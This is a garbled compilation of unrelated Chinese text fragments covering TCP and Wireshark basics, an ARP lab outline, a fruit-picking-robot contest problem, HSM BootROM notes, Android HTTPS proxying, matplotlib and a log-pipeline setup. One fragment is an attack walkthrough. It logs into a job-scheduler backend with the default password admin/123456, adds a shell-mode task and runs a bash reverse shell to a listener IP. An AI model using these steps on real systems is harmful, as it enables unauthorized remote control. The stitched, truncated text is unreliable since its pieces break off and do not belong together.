面试中我们经常会被问到TCP协议的三次握手和四次挥手的过程，为什么总喜欢问这个问题呢？其实我们平时使用的很多协议都是应用层协议，比如HTTP协议，https协议，DNS协议，FTP协议等；而应用层协议都是要基于传输层的两个协议之上的，也就是TCP协议和UDP协议。我们在使用应用层协议遇到一些问题需要去分析定位的时候，会需要涉及到底层协议的连接问题上。所以，作为测试掌握这两个底层协议的工作原理是非常有必要的！UDP协议作为一个不可靠的传输层协议，工作过程相对比较简单！所以我们就重点来大家讲一下TCP协议。02Wireshark抓包分析TCP协议为了更好的学习和理解TCP协议的连接和断开连接的过程

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实验十四：Wireshark数据抓包分析之ARP协议目录一、实验目的及要求二、实验原理1、什么是ARP 2、ARP工作流程3、ARP缓存表三、实验环境四、实验步骤及内容实验步骤一1、使用netsh绑定IP和MAC地址2、使用ARP进行相关的增加，删除，查看等操作实验步骤二实验步骤三1、熟悉ARP 报文格式2、分析ARP请求包3、分析ARP响应包五、实验总结六、分析与思考一、实验目的及要求1、熟悉并掌握Wireshark的基本操作。2、通过对Wireshark抓包实例进行分析，进一步加深对常用网络协议的理解。3、培养学生理论联系实践的研究兴趣。二、实验原理1、什么是ARPARP（Address 

1赛题问题A采果机器人的图像识别技术中国是世界上最大的苹果生产国，年产量约为3500万吨。与此同时，中国也是世界上最大的苹果出口国，全球每两个苹果中就有一个，全球超过六分之一的苹果出口自中国。中国提出了一带一路倡议（BRI），这是建立一个具有共同未来的全球社区的关键支柱。由于这一倡议，越南、孟加拉国、菲律宾、印度尼西亚和沿线国家已成为中国苹果的主要出口目的地。图1。采采摘机器人的苹果图像识别图。苹果的采摘主要依靠手工收割。当苹果成熟时，几天内苹果产区就需要大量的采摘工人。但大多数当地农民都在自己的果园里种植苹果。此外，农业工人的老龄化和年轻人离开村庄去上班的现象也导致了摘苹果季节的劳动力短缺。

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    在包含HSM的MCU的软件开发里，Host和Hsm应该为两个独立的软件工程。不管是Etas还是Vector的HSM包，都是需要单独收费的。    既然是单独的工程，相应的启动代码也是必须要有的。    在英飞凌的HSM固件架构里，HSMBootRom主要有以下几个作用：内部测试、生产使用、启动配置等。那么接下来，我们深入分析下HSM的BootRom到底干了些什么？1、问题引入根据芯片手册，系统上电后只有CPU0一个核处于运行（运行SSW），那么HSM的核(CM3)在什么时候释放并运行自己的BootROM(简称BoS)？在Host侧，有一个寄存器用于选择HSMcode的启动地址，那么是不

 访问漏洞场景，使用弱口令admin/123456,进入后台在任务管理处新增运行模式一定要选shell模式，其他的地方随便填  保存之后点击操作选择GLUEIDE，我们可以通过DNSlog判断一下pingxxxxx.dnslog.cn然后我们保存，然后执行一次刷新之后，出现下图情况，证明设备出网DNSLogPlatform 那我们就可以更改 GLUEIDE中的命令了，将shell反弹到我们监听的设备/bin/bash-i>&/dev/tcp/监听IP/55550>&1监听IP先进行监听，然后按照测试是否出网的时候执行一次，就将shell反弹到监听设备上了    

我想分析我正在为Android开发的应用的https流量。CharlesWebDebuggingProxy是我想为此使用的工具。我有以下系统配置:MacOSXElCapitan版本10.11.5AndroidStudio2.1.2构建#AI-143.2915827，构建于2016年5月26日AndroidSDK工具25.2.0rc1平台版本:API24:Android6.X(N)修订版2CharlesWebDebuggingProxyv3.11.530天试用版我已经在StackOverflow上阅读了几篇文章，例如SSLProxy/CharlesandAndroidtroubleHow

目录一、前言我的运行环境二、什么是matplotlib？三、安装及导入四、matplotlib的使用一、前言本人因在学习基于python的机器学习相关教程时第一次接触到matplotlib相关方面的绘图知识，故写此笔记进行记录，如果能帮助到其他人欢迎点个赞👍表示支持我的运行环境学习工具：jupyter-notebookpython版本：311系统：Win11二、什么是matplotlib？matplotlib是基于python生态开发的一个可视化绘图库，它的出现让python在数据分析及机器学习方面占了重要的一部分，目前很多数据分析及机器学习相关方面的工程都有使用到这个库，并且由于其简单易用，

     随着时间的积累，日志数据会越来越多，当您需要查看并分析庞杂的日志数据时，可通过Filebeat+Kafka+Logstash+Elasticsearch采集日志数据到Elasticsearch中，并通过Kibana进行可视化展示与分析。本文介绍具体的实现方法。一、背景信息Kafka是一种分布式、高吞吐、可扩展的消息队列服务，广泛用于日志收集、监控数据聚合、流式数据处理、在线和离线分析等大数据领域，已成为大数据生态中不可或缺的部分。在实际应用场景中，为了满足大数据实时检索的需求，您可以使用Filebeat采集日志数据，并输出到Kafka中。Kafka实时接收Filebeat采集的数据，